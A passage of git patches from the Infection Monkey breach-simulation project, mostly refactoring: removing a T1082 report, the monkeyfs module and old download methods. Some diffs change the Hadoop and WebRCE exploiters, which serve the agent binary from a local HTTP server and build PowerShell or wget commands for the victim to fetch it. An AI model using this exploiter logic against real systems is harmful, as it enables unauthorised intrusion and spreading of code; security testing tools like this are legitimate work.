network_info.append(entry) + + return network_info From 4e1fc525ae765f80098cde217f608c2219531a99 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 1 Mar 2022 16:04:11 +0200 Subject: [PATCH 0604/1110] Island: remove T1082 attack technique This attack technique gathered data from deprecated system info telemetries. This attack technique needs to be reworked and perhaps it's better to have a single, dedicated and controlable system info gathering procedure --- .../cc/services/attack/attack_report.py | 2 - .../cc/services/attack/attack_schema.py | 14 +- .../attack/technique_reports/T1082.py | 120 ------------------ .../definitions/post_breach_actions.py | 1 - .../src/components/attack/techniques/T1082.js | 50 -------- 5 files changed, 2 insertions(+), 185 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1082.py delete mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 3fb3f4c32..96a840cf9 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -16,7 +16,6 @@ from monkey_island.cc.services.attack.technique_reports import ( T1064, T1065, T1075, - T1082, T1086, T1087, T1090, @@ -54,7 +53,6 @@ TECHNIQUES = { "T1003": T1003.T1003, "T1059": T1059.T1059, "T1086": T1086.T1086, - "T1082": T1082.T1082, "T1145": T1145.T1145, "T1065": T1065.T1065, "T1105": T1105.T1105, diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index dca2a1513..7ff959474 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -249,21 +249,11 @@ SCHEMA = { "hostname, or other logical identifier on a network for lateral" " movement.", }, - "T1082": { - "title": "System information discovery", - "type": "bool", - "link": "https://attack.mitre.org/techniques/T1082", - "depends_on": ["T1016", "T1005"], - "description": "An adversary may attempt to get detailed information about the " - "operating system and hardware, including version, patches, " - "hotfixes, " - "service packs, and architecture.", - }, "T1016": { "title": "System network configuration discovery", "type": "bool", "link": "https://attack.mitre.org/techniques/T1016", - "depends_on": ["T1005", "T1082"], + "depends_on": ["T1005"], "description": "Adversaries will likely look for details about the network " "configuration " "and settings of systems they access or through information " @@ -322,7 +312,7 @@ SCHEMA = { "title": "Data from local system", "type": "bool", "link": "https://attack.mitre.org/techniques/T1005", - "depends_on": ["T1016", "T1082"], + "depends_on": ["T1016"], "description": "Sensitive data can be collected from local system sources, " "such as the file system " "or databases of information residing on the system prior to " diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py deleted file mode 100644 index 4c79916ef..000000000 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py +++ /dev/null @@ -1,120 +0,0 @@ -from common.common_consts.post_breach_consts import POST_BREACH_PROCESS_LIST_COLLECTION -from common.utils.attack_utils import ScanStatus -from monkey_island.cc.database import mongo -from monkey_island.cc.services.attack.technique_reports import AttackTechnique - - -class T1082(AttackTechnique): - tech_id = "T1082" - relevant_systems = ["Linux", "Windows"] - unscanned_msg = "Monkey didn't gather any system info on the network." - scanned_msg = "Monkey tried gathering system info on the network but failed." - used_msg = "Monkey gathered system info from machines in the network." - # TODO: Remove the second item from this list after the TODO in `_run_pba()` in - # `automated_master.py` is resolved. - pba_names = [POST_BREACH_PROCESS_LIST_COLLECTION, "ProcessListCollection"] - - query_for_system_info_collectors = [ - {"$match": {"telem_category": "system_info", "data.network_info": {"$exists": True}}}, - { - "$project": { - "machine": {"hostname": "$data.hostname", "ips": "$data.network_info.networks"}, - "aws": "$data.aws", - "ssh_info": "$data.ssh_info", - "azure_info": "$data.Azure", - } - }, - { - "$project": { - "_id": 0, - "machine": 1, - "collections": [ - { - "used": {"$and": [{"$gt": ["$aws", {}]}]}, - "name": {"$literal": "Amazon Web Services info"}, - }, - { - "used": { - "$and": [{"$ifNull": ["$ssh_info", False]}, {"$ne": ["$ssh_info", []]}] - }, - "name": {"$literal": "SSH info"}, - }, - { - "used": { - "$and": [ - {"$ifNull": ["$azure_info", False]}, - {"$ne": ["$azure_info", []]}, - ] - }, - "name": {"$literal": "Azure info"}, - }, - {"used": True, "name": {"$literal": "Network interfaces"}}, - ], - } - }, - {"$group": {"_id": {"machine": "$machine", "collections": "$collections"}}}, - {"$replaceRoot": {"newRoot": "$_id"}}, - ] - - query_for_running_processes_list = [ - { - "$match": { - "$and": [ - {"telem_category": "post_breach"}, - {"$or": [{"data.name": pba_name} for pba_name in pba_names]}, - {"$or": [{"data.os": os} for os in relevant_systems]}, - ] - } - }, - { - "$project": { - "_id": 0, - "machine": { - "hostname": {"$arrayElemAt": ["$data.hostname", 0]}, - "ips": [{"$arrayElemAt": ["$data.ip", 0]}], - }, - "collections": [ - { - "used": {"$arrayElemAt": [{"$arrayElemAt": ["$data.result", 0]}, 1]}, - "name": {"$literal": "List of running processes"}, - } - ], - } - }, - ] - - @staticmethod - def get_report_data(): - def get_technique_status_and_data(): - system_info_data = list( - mongo.db.telemetry.aggregate(T1082.query_for_system_info_collectors) - ) - system_info_status = ( - ScanStatus.USED.value if system_info_data else ScanStatus.UNSCANNED.value - ) - - pba_data = list(mongo.db.telemetry.aggregate(T1082.query_for_running_processes_list)) - successful_PBAs = mongo.db.telemetry.count( - { - "$and": [ - {"$or": [{"data.name": pba_name} for pba_name in T1082.pba_names]}, - {"$or": [{"data.os": os} for os in T1082.relevant_systems]}, - {"data.result.1": True}, - ] - } - ) - pba_status = ScanStatus.USED.value if successful_PBAs else ScanStatus.SCANNED.value - - technique_data = system_info_data + pba_data - # ScanStatus values are in order of precedence; used > scanned > unscanned - technique_status = max(system_info_status, pba_status) - - return (technique_status, technique_data) - - status, technique_data = get_technique_status_and_data() - data = {"title": T1082.technique_title()} - data.update({"technique_data": technique_data}) - - data.update(T1082.get_mitigation_by_status(status)) - data.update(T1082.get_message_and_status(status)) - return data diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py index e76b2c254..d6831ed63 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py @@ -100,7 +100,6 @@ POST_BREACH_ACTIONS = { "title": "Process List Collector", "safe": True, "info": "Collects a list of running processes on the machine.", - "attack_techniques": ["T1082"], }, ], } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js deleted file mode 100644 index a82adcf09..000000000 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1082.js +++ /dev/null @@ -1,50 +0,0 @@ -import React from 'react'; -import ReactTable from 'react-table'; -import {renderMachineFromSystemData, renderUsageFields, ScanStatus} from './Helpers' -import MitigationsComponent from './MitigationsComponent'; - - -class T1082 extends React.Component { - - constructor(props) { - super(props); - } - - static getSystemInfoColumns() { - return ([{ - columns: [ - { - Header: 'Machine', - id: 'machine', - accessor: x => renderMachineFromSystemData(x.machine), - style: {'whiteSpace': 'unset'} - }, - { - Header: 'Gathered info', - id: 'info', - accessor: x => renderUsageFields(x.collections), - style: {'whiteSpace': 'unset'} - } - ] - }]) - } - - render() { - return ( -
    -
    {this.props.data.message_html}
    -
    - {this.props.data.status === ScanStatus.USED ? - : ''} - -
    - ); - } -} - -export default T1082; From 458b2121cd32e4ef16a003df2566c6963694ee13 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 1 Mar 2022 16:16:06 +0200 Subject: [PATCH 0605/1110] Changelog: added entry for removed T1082 attack technique report --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 72eadb615..b40f94bcf 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -47,6 +47,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Zero Trust integration with ScoutSuite. #1669 - ShellShock exploiter. #1733 - ElasticGroovy exploiter. #1732 +- T1082 attack technique report. #1754 ### Fixed - A bug in network map page that caused delay of telemetry log loading. #1545 From 86c18b556f32478faa900ccbf81e36f49f0c2fdc Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 1 Mar 2022 13:29:55 -0500 Subject: [PATCH 0606/1110] Agent: Remove disused transport.http.HTTPServer --- .../exploit/tools/http_tools.py | 23 +--------- monkey/infection_monkey/transport/__init__.py | 1 - monkey/infection_monkey/transport/http.py | 44 ------------------- 3 files changed, 1 insertion(+), 67 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index 25aca3321..cb33fbd71 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -11,33 +11,12 @@ from infection_monkey.model import DOWNLOAD_TIMEOUT from infection_monkey.network.firewall import app as firewall from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.tools import get_interface_to_target -from infection_monkey.transport import HTTPServer, LockedHTTPServer +from infection_monkey.transport import LockedHTTPServer logger = logging.getLogger(__name__) class HTTPTools(object): - @staticmethod - def create_transfer(host, src_path, local_ip=None, local_port=None): - if not local_port: - local_port = get_free_tcp_port() - - if not local_ip: - local_ip = get_interface_to_target(host.ip_addr) - - if not firewall.listen_allowed(): - return None, None - - httpd = HTTPServer(local_ip, local_port, src_path) - httpd.daemon = True - httpd.start() - - return ( - "http://%s:%s/%s" - % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), - httpd, - ) - @staticmethod def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None): http_path, http_thread = HTTPTools.create_locked_transfer( diff --git a/monkey/infection_monkey/transport/__init__.py b/monkey/infection_monkey/transport/__init__.py index 0dcbd56c6..960bce311 100644 --- a/monkey/infection_monkey/transport/__init__.py +++ b/monkey/infection_monkey/transport/__init__.py @@ -1,2 +1 @@ -from infection_monkey.transport.http import HTTPServer from infection_monkey.transport.http import LockedHTTPServer diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index f8ca906b0..a2f668036 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -157,50 +157,6 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler): ) -class HTTPServer(threading.Thread): - def __init__(self, local_ip, local_port, filename, max_downloads=1): - self._local_ip = local_ip - self._local_port = local_port - self._filename = filename - self.max_downloads = max_downloads - self.downloads = 0 - self._stopped = False - threading.Thread.__init__(self) - - def run(self): - class TempHandler(FileServHTTPRequestHandler): - from common.utils.attack_utils import ScanStatus - from infection_monkey.telemetry.attack.t1105_telem import T1105Telem - - filename = self._filename - - @staticmethod - def report_download(dest=None): - logger.info("File downloaded from (%s,%s)" % (dest[0], dest[1])) - TempHandler.T1105Telem( - TempHandler.ScanStatus.USED, - get_interface_to_target(dest[0]), - dest[0], - self._filename, - ).send() - self.downloads += 1 - if not self.downloads < self.max_downloads: - return True - return False - - httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler) - httpd.timeout = 0.5 # this is irrelevant? - - while not self._stopped and self.downloads < self.max_downloads: - httpd.handle_request() - - self._stopped = True - - def stop(self, timeout=60): - self._stopped = True - self.join(timeout) - - class LockedHTTPServer(threading.Thread): """ Same as HTTPServer used for file downloads just with locks to avoid racing conditions. From 1b1b68f6a63b0c76e7db9ffa65aa6f171f38da8b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 28 Feb 2022 20:08:39 -0500 Subject: [PATCH 0607/1110] Use IAgentRepository in Hadoop/WebRCE exploiter --- monkey/infection_monkey/exploit/hadoop.py | 15 ++++++--- .../exploit/tools/http_tools.py | 11 ++++--- monkey/infection_monkey/exploit/web_rce.py | 15 +++++---- monkey/infection_monkey/transport/http.py | 33 ++++++++++++------- 4 files changed, 47 insertions(+), 27 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 5a3c29b65..69e5c601b 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -42,13 +42,18 @@ class HadoopExploiter(WebRCE): self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: return self.exploit_result - paths = self.get_monkey_paths() - if not paths: - return self.exploit_result - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"]) try: - command = self._build_command(paths["dest_path"], http_path) + dropper_target_path = self.monkey_target_paths[self.host.os["type"]] + except KeyError: + return self.exploit_result + + http_path, http_thread = HTTPTools.create_locked_transfer( + self.host, dropper_target_path, self.agent_repository + ) + + try: + command = self._build_command(dropper_target_path, http_path) if self.exploit(self.vulnerable_urls[0], command): self.add_executed_cmd(command) diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index cb33fbd71..467539180 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -28,7 +28,9 @@ class HTTPTools(object): return http_path, http_thread @staticmethod - def create_locked_transfer(host, src_path, local_ip=None, local_port=None): + def create_locked_transfer( + host, dropper_target_path, agent_repository, local_ip=None, local_port=None + ): """ Create http server for file transfer with a lock :param host: Variable with target's information @@ -50,12 +52,13 @@ class HTTPTools(object): logger.error("Firewall is not allowed to listen for incomming ports. Aborting") return None, None - httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) + httpd = LockedHTTPServer( + local_ip, local_port, host.os["type"], dropper_target_path, agent_repository, lock + ) httpd.start() lock.acquire() return ( - "http://%s:%s/%s" - % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), + "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(host.os["type"])), httpd, ) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 7bc02a694..4473a24f5 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -292,11 +292,12 @@ class WebRCE(HostExploiter): if not self.host.os["type"]: logger.error("Unknown target's os type. Skipping.") return False - paths = self.get_monkey_paths() - if not paths: - return False + + dropper_target_path = self.monkey_target_paths[self.host.os["type"]] # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"]) + http_path, http_thread = HTTPTools.create_locked_transfer( + self.host, dropper_target_path, self.agent_repository + ) if not http_path: logger.debug("Exploiter failed, http transfer creation failed.") return False @@ -304,10 +305,10 @@ class WebRCE(HostExploiter): # Choose command: if not commands: commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD} - command = self.get_command(paths["dest_path"], http_path, commands) + command = self.get_command(dropper_target_path, http_path, commands) resp = self.exploit(url, command) self.add_executed_cmd(command) - resp = self.run_backup_commands(resp, url, paths["dest_path"], http_path) + resp = self.run_backup_commands(resp, url, dropper_target_path, http_path) http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() @@ -316,7 +317,7 @@ class WebRCE(HostExploiter): if resp is False: return resp else: - return {"response": resp, "path": paths["dest_path"]} + return {"response": resp, "path": dropper_target_path} def change_permissions(self, url, path, command=None): """ diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index a2f668036..5afb5c2d8 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -1,5 +1,4 @@ import http.server -import os.path import select import socket import threading @@ -7,7 +6,6 @@ import urllib from logging import getLogger from urllib.parse import urlsplit -import infection_monkey.monkeyfs as monkeyfs from infection_monkey.network.tools import get_interface_to_target from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time @@ -16,7 +14,8 @@ logger = getLogger(__name__) class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler): protocol_version = "HTTP/1.1" - filename = "" + victim_os = "" + agent_repository = None def version_string(self): return "Microsoft-IIS/7.5." @@ -46,7 +45,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler): total += chunk start_range += chunk - if f.tell() == monkeyfs.getsize(self.filename): + if f.tell() == len(f.getbuffer()): if self.report_download(self.client_address): self.close_connection = 1 @@ -59,15 +58,15 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler): f.close() def send_head(self): - if self.path != "/" + urllib.parse.quote(os.path.basename(self.filename)): + if self.path != "/" + urllib.parse.quote(self.victim_os): self.send_error(500, "") return None, 0, 0 try: - f = monkeyfs.open(self.filename, "rb") + f = self.agent_repository.get_agent_binary(self.victim_os) except IOError: self.send_error(404, "File not found") return None, 0, 0 - size = monkeyfs.getsize(self.filename) + size = len(f.getbuffer()) start_range = 0 end_range = size @@ -169,10 +168,21 @@ class LockedHTTPServer(threading.Thread): # Seconds to wait until server stops STOP_TIMEOUT = 5 - def __init__(self, local_ip, local_port, filename, lock, max_downloads=1): + def __init__( + self, + local_ip, + local_port, + victim_os, + dropper_target_path, + agent_repository, + lock, + max_downloads=1, + ): self._local_ip = local_ip self._local_port = local_port - self._filename = filename + self._victim_os = victim_os + self._dropper_target_path = dropper_target_path + self._agent_repository = agent_repository self.max_downloads = max_downloads self.downloads = 0 self._stopped = False @@ -185,7 +195,8 @@ class LockedHTTPServer(threading.Thread): from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1105_telem import T1105Telem - filename = self._filename + victim_os = self._victim_os + agent_repository = self._agent_repository @staticmethod def report_download(dest=None): @@ -194,7 +205,7 @@ class LockedHTTPServer(threading.Thread): TempHandler.ScanStatus.USED, get_interface_to_target(dest[0]), dest[0], - self._filename, + self._dropper_target_path, ).send() self.downloads += 1 if not self.downloads < self.max_downloads: From 279aed36af0abc7d1140373fca4f3695142eaccd Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 1 Mar 2022 14:57:00 -0500 Subject: [PATCH 0608/1110] Agent: Remove monkeyfs and download methods from ControlClient --- monkey/infection_monkey/control.py | 81 ------------------- monkey/infection_monkey/exploit/powershell.py | 7 +- .../infection_monkey/exploit/tools/helpers.py | 13 +-- .../exploit/tools/smb_tools.py | 7 +- monkey/infection_monkey/monkeyfs.py | 58 ------------- .../exploit/test_powershell.py | 3 +- 6 files changed, 16 insertions(+), 153 deletions(-) delete mode 100644 monkey/infection_monkey/monkeyfs.py diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index c4b4b9555..76c8b50e3 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -8,7 +8,6 @@ from urllib.parse import urljoin import requests from requests.exceptions import ConnectionError -import infection_monkey.monkeyfs as monkeyfs import infection_monkey.tunnel as tunnel from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT @@ -258,22 +257,6 @@ class ControlClient(object): ControlClient.load_control_config() return not WormConfiguration.alive - @staticmethod - def download_monkey_exe(host): - filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host(host) - if filename is None: - return None - return ControlClient.download_monkey_exe_by_filename(filename, size) - - @staticmethod - def download_monkey_exe_by_os(is_windows, is_32bit): - filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict( - ControlClient.spoof_host_os_info(is_windows, is_32bit) - ) - if filename is None: - return None - return ControlClient.download_monkey_exe_by_filename(filename, size) - @staticmethod def spoof_host_os_info(is_windows, is_32bit): if is_windows: @@ -291,70 +274,6 @@ class ControlClient(object): return {"os": {"type": os, "machine": arch}} - @staticmethod - def download_monkey_exe_by_filename(filename, size): - if not WormConfiguration.current_server: - return None - try: - dest_file = monkeyfs.virtual_path(filename) - if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)): - return dest_file - else: - download = requests.get( # noqa: DUO123 - "https://%s/api/monkey/download/%s" - % (WormConfiguration.current_server, filename), - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT, - ) - - with monkeyfs.open(dest_file, "wb") as file_obj: - for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK): - if chunk: - file_obj.write(chunk) - file_obj.flush() - if size == monkeyfs.getsize(dest_file): - return dest_file - - except Exception as exc: - logger.warning( - "Error connecting to control server %s: %s", WormConfiguration.current_server, exc - ) - - @staticmethod - def get_monkey_exe_filename_and_size_by_host(host): - return ControlClient.get_monkey_exe_filename_and_size_by_host_dict(host.as_dict()) - - @staticmethod - def get_monkey_exe_filename_and_size_by_host_dict(host_dict): - if not WormConfiguration.current_server: - return None, None - try: - reply = requests.post( # noqa: DUO123 - "https://%s/api/monkey/download" % (WormConfiguration.current_server,), - data=json.dumps(host_dict), - headers={"content-type": "application/json"}, - verify=False, - proxies=ControlClient.proxies, - timeout=LONG_REQUEST_TIMEOUT, - ) - if 200 == reply.status_code: - result_json = reply.json() - filename = result_json.get("filename") - if not filename: - return None, None - size = result_json.get("size") - return filename, size - else: - return None, None - - except Exception as exc: - logger.warning( - "Error connecting to control server %s: %s", WormConfiguration.current_server, exc - ) - - return None, None - @staticmethod def create_control_tunnel(): if not WormConfiguration.current_server: diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 6db20b6a4..324ed0495 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -2,7 +2,6 @@ import logging import os from typing import List, Optional -import infection_monkey.monkeyfs as monkeyfs from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.consts import WIN_ARCH_32 from infection_monkey.exploit.HostExploiter import HostExploiter @@ -22,7 +21,7 @@ from infection_monkey.exploit.powershell_utils.powershell_client import ( IPowerShellClient, PowerShellClient, ) -from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os +from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.environment import is_windows_os @@ -186,11 +185,15 @@ class PowerShellExploiter(HostExploiter): return is_monkey_copy_successful def _write_virtual_file_to_local_path(self) -> None: + """ + # TODO: monkeyfs has been removed. Fix this in issue #1740. monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=self.is_32bit) with monkeyfs.open(monkey_fs_path) as monkey_virtual_file: with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file: monkey_local_file.write(monkey_virtual_file.read()) + """ + pass def _run_monkey_executable_on_victim(self, executable_path) -> None: monkey_execution_command = build_monkey_execution_command( diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index 6d2538fc9..d0af82304 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -11,18 +11,13 @@ def try_get_target_monkey(host): def get_target_monkey(host): - from infection_monkey.control import ControlClient - - if not host.os.get("type"): - return None - - return ControlClient.download_monkey_exe(host) + raise NotImplementedError("get_target_monkey() has been retired. Use IAgentRepository instead.") def get_target_monkey_by_os(is_windows, is_32bit): - from infection_monkey.control import ControlClient - - return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit) + raise NotImplementedError( + "get_target_monkey_by_os() has been retired. Use IAgentRepository instead." + ) def get_monkey_depth(): diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index 362c1b083..84e1b7e8b 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -6,7 +6,6 @@ from impacket.dcerpc.v5 import srvs, transport from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21 from impacket.smbconnection import SMB_DIALECT, SMBConnection -import infection_monkey.monkeyfs as monkeyfs from common.utils.attack_utils import ScanStatus from infection_monkey.config import Configuration from infection_monkey.network.tools import get_interface_to_target @@ -20,7 +19,8 @@ class SmbTools(object): def copy_file( host, src_path, dst_path, username, password, lm_hash="", ntlm_hash="", timeout=60 ): - assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) + # monkeyfs has been removed. Fix this in issue #1741 + # assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) smb, dialect = SmbTools.new_smb_connection( host, username, password, lm_hash, ntlm_hash, timeout @@ -138,10 +138,13 @@ class SmbTools(object): remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep)) try: + # monkeyfs has been removed. Fix this in issue #1741 + """ with monkeyfs.open(src_path, "rb") as source_file: # make sure of the timeout smb.setTimeout(timeout) smb.putFile(share_name, remote_path, source_file.read) + """ file_uploaded = True T1105Telem( diff --git a/monkey/infection_monkey/monkeyfs.py b/monkey/infection_monkey/monkeyfs.py deleted file mode 100644 index e056512d2..000000000 --- a/monkey/infection_monkey/monkeyfs.py +++ /dev/null @@ -1,58 +0,0 @@ -import os -from io import BytesIO - -MONKEYFS_PREFIX = "monkeyfs://" - -open_orig = open - - -class VirtualFile(BytesIO): - _vfs = {} # virtual File-System - - def __init__(self, name, mode="r", buffering=None): - if not name.startswith(MONKEYFS_PREFIX): - name = MONKEYFS_PREFIX + name - self.name = name - if name in VirtualFile._vfs: - super(VirtualFile, self).__init__(self._vfs[name]) - else: - super(VirtualFile, self).__init__() - - def flush(self): - super(VirtualFile, self).flush() - VirtualFile._vfs[self.name] = self.getvalue() - - @staticmethod - def getsize(path): - return len(VirtualFile._vfs[path]) - - @staticmethod - def isfile(path): - return path in VirtualFile._vfs - - -def getsize(path): - if path.startswith(MONKEYFS_PREFIX): - return VirtualFile.getsize(path) - else: - return os.stat(path).st_size - - -def isfile(path): - if path.startswith(MONKEYFS_PREFIX): - return VirtualFile.isfile(path) - else: - return os.path.isfile(path) - - -def virtual_path(name): - return "%s%s" % (MONKEYFS_PREFIX, name) - - -# noinspection PyShadowingBuiltins -def open(name, mode="r", buffering=-1): - # use normal open for regular paths, and our "virtual" open for monkeyfs:// paths - if name.startswith(MONKEYFS_PREFIX): - return VirtualFile(name, mode, buffering) - else: - return open_orig(name, mode=mode, buffering=buffering) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index 2fc45cf06..10d2e6e1d 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -51,7 +51,8 @@ def powershell_exploiter(monkeypatch): monkeypatch.setattr(powershell, "AuthenticationError", AuthenticationErrorForTests) monkeypatch.setattr(powershell, "is_windows_os", lambda: True) # It's regrettable to mock out a private method on the PowerShellExploiter instance object, but - # it's necessary to avoid having to deal with the monkeyfs + # it's necessary to avoid having to deal with the monkeyfs. TODO: monkeyfs has been removed, so + # fix this. monkeypatch.setattr(pe, "_write_virtual_file_to_local_path", lambda: None) return pe From 932d4401d8e344e028c30d7b248c2b190c91ef39 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Mar 2022 06:42:06 -0500 Subject: [PATCH 0609/1110] Island: Remove redundant file name in commit hash log message --- monkey/monkey_island/cc/resources/monkey_download.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/resources/monkey_download.py b/monkey/monkey_island/cc/resources/monkey_download.py index 644cea758..99943aedb 100644 --- a/monkey/monkey_island/cc/resources/monkey_download.py +++ b/monkey/monkey_island/cc/resources/monkey_download.py @@ -42,8 +42,8 @@ class MonkeyDownload(flask_restful.Resource): if filepath.is_file(): with open(filepath, "rb") as monkey_exec_file: file_contents = monkey_exec_file.read() - file_sha256_hash = filename, hashlib.sha256(file_contents).hexdigest() - logger.debug(f"{filename} hash:\nSHA-256 {file_sha256_hash}") + file_sha256_hash = hashlib.sha256(file_contents).hexdigest() + logger.debug(f"{filename} SHA-256 hash: {file_sha256_hash}") else: logger.debug(f"No monkey executable for {filepath}") From 46eb8a4484bbd845b8a49e8e3df6de6b91e9034b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Mar 2022 06:50:15 -0500 Subject: [PATCH 0610/1110] CHANGELOG: Add changelog entries for removing 32-bit agents. --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index fd6a83469..35be809b2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -19,6 +19,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - The order and content of Monkey Island's initialization logging to give clearer instructions to the user and avoid confusion. #1684 - The process list collection system info collector to now be a post-breach action. #1697 +- The "/api/monkey/download" endpoint to accept an OS and return a file. #1675 ### Removed - VSFTPD exploiter. #1533 @@ -47,6 +48,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Zero Trust integration with ScoutSuite. #1669 - ShellShock exploiter. #1733 - ElasticGroovy exploiter. #1732 +- 32-bit agents. #1675 ### Fixed - A bug in network map page that caused delay of telemetry log loading. #1545 From f270a50c00295998bde312b61a26956d035025ab Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Mar 2022 09:13:24 -0500 Subject: [PATCH 0611/1110] Agent: Fix typo in monkey.py (repoitory -> repository) --- monkey/infection_monkey/monkey.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git 